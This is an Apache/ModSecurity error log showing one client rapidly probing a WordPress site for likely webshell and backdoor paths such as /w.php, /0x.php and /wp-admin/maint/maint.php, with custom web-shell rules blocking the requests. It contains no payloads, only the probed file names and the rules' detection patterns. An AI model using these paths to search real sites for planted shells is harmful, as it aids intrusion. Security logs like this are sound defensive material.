[Thu Jan 08 04:38:05.297254 2026] [:error] [pid 15358:tid 15388] [client 4.194.192.180:7150] [client 4.194.192.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aV7ELSoRk9xWJ3toSBKlngAAANI"]
[Thu Jan 08 04:38:05.552950 2026] [:error] [pid 15263:tid 15296] [client 4.194.192.180:7160] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aV7ELdv61bxum7WG_e9BTQAAABg"]
[Thu Jan 08 04:38:06.225593 2026] [:error] [pid 15358:tid 15393] [client 4.194.192.180:7125] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aV7ELioRk9xWJ3toSBKlpAAAANc"]
[Thu Jan 08 04:38:06.477267 2026] [:error] [pid 15358:tid 15385] [client 4.194.192.180:26417] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cong.php"] [unique_id "aV7ELioRk9xWJ3toSBKlpgAAAM8"]
[Thu Jan 08 04:38:06.746593 2026] [:error] [pid 15358:tid 15383] [client 4.194.192.180:26434] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aV7ELioRk9xWJ3toSBKlqQAAAM0"]
[Thu Jan 08 04:38:07.380697 2026] [:error] [pid 15264:tid 15322] [client 4.194.192.180:26407] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aV7EL4ov6_kvS0Owh-pjwQAAAFc"]
[Thu Jan 08 04:38:07.812791 2026] [:error] [pid 15358:tid 15386] [client 4.194.192.180:7131] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aV7ELyoRk9xWJ3toSBKlrAAAANA"]
[Thu Jan 08 04:38:08.041594 2026] [:error] [pid 15264:tid 15316] [client 4.194.192.180:26422] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w.php"] [unique_id "aV7EMIov6_kvS0Owh-pjwwAAAFE"]
[Thu Jan 08 04:38:08.406067 2026] [:error] [pid 15358:tid 15387] [client 4.194.192.180:26405] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aV7EMCoRk9xWJ3toSBKlsQAAANE"]
[Thu Jan 08 04:38:08.724657 2026] [:error] [pid 15358:tid 15377] [client 4.194.192.180:7049] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aV7EMCoRk9xWJ3toSBKlswAAAMc"]
[Thu Jan 08 04:38:09.411218 2026] [:error] [pid 15358:tid 15372] [client 4.194.192.180:26381] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aV7EMSoRk9xWJ3toSBKltQAAAMI"]
[Thu Jan 08 04:38:09.877659 2026] [:error] [pid 15358:tid 15376] [client 4.194.192.180:7151] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aV7EMSoRk9xWJ3toSBKltgAAAMY"]
[Thu Jan 08 04:38:10.153770 2026] [:error] [pid 15358:tid 15388] [client 4.194.192.180:26393] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aV7EMioRk9xWJ3toSBKltwAAANI"]
[Thu Jan 08 04:38:10.699456 2026] [:error] [pid 15358:tid 15394] [client 4.194.192.180:26377] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aV7EMioRk9xWJ3toSBKluQAAANg"]
[Thu Jan 08 04:38:10.952154 2026] [:error] [pid 15358:tid 15382] [client 4.194.192.180:7117] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aV7EMioRk9xWJ3toSBKlvAAAAMw"]
[Thu Jan 08 04:38:11.255395 2026] [:error] [pid 15264:tid 15313] [client 4.194.192.180:26480] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aV7EM4ov6_kvS0Owh-pjyQAAAE4"]
[Thu Jan 08 04:38:11.743133 2026] [:error] [pid 15358:tid 15378] [client 4.194.192.180:7076] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aV7EMyoRk9xWJ3toSBKlwAAAAMg"]
[Thu Jan 08 04:38:11.996439 2026] [:error] [pid 15265:tid 15338] [client 4.194.192.180:26425] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aV7EM6E6VBKhew2LTFSC-wAAAIw"]
[Thu Jan 08 04:38:12.399705 2026] [:error] [pid 15264:tid 15322] [client 4.194.192.180:7135] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aV7ENIov6_kvS0Owh-pjygAAAFc"]
[Thu Jan 08 04:38:12.593809 2026] [:error] [pid 15264:tid 15310] [client 4.194.192.180:7144] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0x.php"] [unique_id "aV7ENIov6_kvS0Owh-pjywAAAEs"]
[Thu Jan 08 04:38:12.821480 2026] [:error] [pid 15263:tid 15296] [client 4.194.192.180:26414] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aV7ENNv61bxum7WG_e9BUwAAABg"]
[Thu Jan 08 04:38:13.416451 2026] [:error] [pid 15358:tid 15384] [client 4.194.192.180:26413] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aV7ENSoRk9xWJ3toSBKlxQAAAM4"]
[Thu Jan 08 04:38:13.709713 2026] [:error] [pid 15358:tid 15386] [client 4.194.192.180:7155] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aV7ENSoRk9xWJ3toSBKlxwAAANA"]
[Thu Jan 08 04:38:14.000733 2026] [:error] [pid 15265:tid 15340] [client 4.194.192.180:26487] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/css.php"] [unique_id "aV7ENaE6VBKhew2LTFSC_gAAAI4"]
[Thu Jan 08 04:38:14.434823 2026] [:error] [pid 15358:tid 15393] [client 4.194.192.180:7130] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aV7ENioRk9xWJ3toSBKlzQAAANc"]
[Thu Jan 08 04:38:14.710603 2026] [:error] [pid 15358:tid 15378] [client 4.194.192.180:26374] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aV7ENioRk9xWJ3toSBKl0QAAAMg"]
[Thu Jan 08 04:38:15.278310 2026] [:error] [pid 15263:tid 15281] [client 4.194.192.180:7048] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aV7EN9v61bxum7WG_e9BWAAAAAk"]
[Thu Jan 08 04:38:15.578663 2026] [:error] [pid 15263:tid 15274] [client 4.194.192.180:26451] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/222.php"] [unique_id "aV7EN9v61bxum7WG_e9BWgAAAAI"]
[Thu Jan 08 04:38:15.987149 2026] [:error] [pid 15358:tid 15375] [client 4.194.192.180:7157] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aV7ENyoRk9xWJ3toSBKl6QAAAMU"]
[Thu Jan 08 04:38:16.250318 2026] [:error] [pid 15263:tid 15280] [client 4.194.192.180:26412] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aV7EONv61bxum7WG_e9BXgAAAAg"]
[Thu Jan 08 04:38:16.534067 2026] [:error] [pid 15264:tid 15314] [client 4.194.192.180:7141] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aV7EOIov6_kvS0Owh-pjzgAAAE8"]
[Thu Jan 08 04:38:16.853103 2026] [:error] [pid 15264:tid 15308] [client 4.194.192.180:7124] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/index.php"] [unique_id "aV7EOIov6_kvS0Owh-pjzwAAAEk"]
[Thu Jan 08 04:38:17.156295 2026] [:error] [pid 15264:tid 15323] [client 4.194.192.180:26408] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aV7EOYov6_kvS0Owh-pj0AAAAFg"]
[Thu Jan 08 04:38:17.451324 2026] [:error] [pid 15263:tid 15288] [client 4.194.192.180:7120] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aV7EOdv61bxum7WG_e9BYQAAABA"]
[Thu Jan 08 04:38:17.965168 2026] [:error] [pid 15264:tid 15307] [client 4.194.192.180:7148] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aV7EOYov6_kvS0Owh-pj0QAAAEg"]
[Thu Jan 08 04:38:18.551987 2026] [:error] [pid 15358:tid 15374] [client 4.194.192.180:7163] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aV7EOioRk9xWJ3toSBKl7wAAAMQ"]
[Thu Jan 08 04:38:19.003749 2026] [:error] [pid 15263:tid 15295] [client 4.194.192.180:26400] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV7EO9v61bxum7WG_e9BYwAAABc"]
[Thu Jan 08 04:38:19.178479 2026] [:error] [pid 15358:tid 15394] [client 4.194.192.180:7072] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV7EOyoRk9xWJ3toSBKl8gAAANg"]
[Thu Jan 08 04:38:19.569397 2026] [:error] [pid 15263:tid 15287] [client 4.194.192.180:7123] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV7EO9v61bxum7WG_e9BZgAAAA8"]
[Thu Jan 08 04:38:19.806435 2026] [:error] [pid 15265:tid 15343] [client 4.194.192.180:26423] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aV7EO6E6VBKhew2LTFSDCAAAAJE"]
[Thu Jan 08 04:38:20.103449 2026] [:error] [pid 15265:tid 15328] [client 4.194.192.180:7042] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aV7EPKE6VBKhew2LTFSDCgAAAII"]
[Thu Jan 08 04:38:20.875429 2026] [:error] [pid 15264:tid 15309] [client 4.194.192.180:7061] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aV7EPIov6_kvS0Owh-pj0wAAAEo"]
[Thu Jan 08 04:38:22.123413 2026] [:error] [pid 15263:tid 15288] [client 4.194.192.180:7119] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aV7EPtv61bxum7WG_e9BagAAABA"]
[Thu Jan 08 04:38:22.554840 2026] [:error] [pid 15265:tid 15342] [client 4.194.192.180:26455] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aV7EPqE6VBKhew2LTFSDEAAAAJA"]
[Thu Jan 08 04:38:22.848487 2026] [:error] [pid 15263:tid 15276] [client 4.194.192.180:26473] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aV7EPtv61bxum7WG_e9BbAAAAAQ"]
[Thu Jan 08 04:38:23.399828 2026] [:error] [pid 15265:tid 15336] [client 4.194.192.180:26475] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aV7EP6E6VBKhew2LTFSDFAAAAIo"]
[Thu Jan 08 04:38:23.642361 2026] [:error] [pid 15358:tid 15371] [client 4.194.192.180:6988] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aV7EPyoRk9xWJ3toSBKl-AAAAME"]
[Thu Jan 08 04:38:23.894233 2026] [:error] [pid 15264:tid 15315] [client 4.194.192.180:7158] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aV7EP4ov6_kvS0Owh-pj2AAAAFA"]
[Thu Jan 08 04:38:24.155642 2026] [:error] [pid 15264:tid 15322] [client 4.194.192.180:7068] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV7EQIov6_kvS0Owh-pj2gAAAFc"]
[Thu Jan 08 04:38:24.458058 2026] [:error] [pid 15265:tid 15327] [client 4.194.192.180:7047] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV7EQKE6VBKhew2LTFSDFwAAAIE"]
[Thu Jan 08 04:38:24.820304 2026] [:error] [pid 15263:tid 15281] [client 4.194.192.180:7154] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/autoload_classmap.php"] [unique_id "aV7EQNv61bxum7WG_e9BcQAAAAk"]
[Thu Jan 08 04:38:25.066274 2026] [proxy_fcgi:error] [pid 15265:tid 15334] [client 4.194.192.180:7067] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:38:25.156085 2026] [proxy_fcgi:error] [pid 15265:tid 15345] [client 4.194.192.180:7067] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:38:25.350566 2026] [proxy_fcgi:error] [pid 15265:tid 15342] [client 4.194.192.180:7067] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:38:25.590705 2026] [proxy_fcgi:error] [pid 15265:tid 15337] [client 4.194.192.180:7067] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:38:26.343172 2026] [proxy_fcgi:error] [pid 15265:tid 15336] [client 4.194.192.180:7067] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:38:26.565203 2026] [proxy_fcgi:error] [pid 15265:tid 15346] [client 4.194.192.180:7067] AH01071: Got error 'Primary script unknown'
[Thu Jan 08 04:38:26.750231 2026] [:error] [pid 15265:tid 15329] [client 4.194.192.180:7067] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aV7EQqE6VBKhew2LTFSDJgAAAIM"]
[Thu Jan 08 04:38:26.940204 2026] [:error] [pid 15358:tid 15392] [client 4.194.192.180:7040] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aV7EQioRk9xWJ3toSBKl_gAAANY"]
[Thu Jan 08 04:38:27.441893 2026] [:error] [pid 15263:tid 15282] [client 4.194.192.180:26401] [client 4.194.192.180] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aV7EQ9v61bxum7WG_e9BeAAAAAo"]
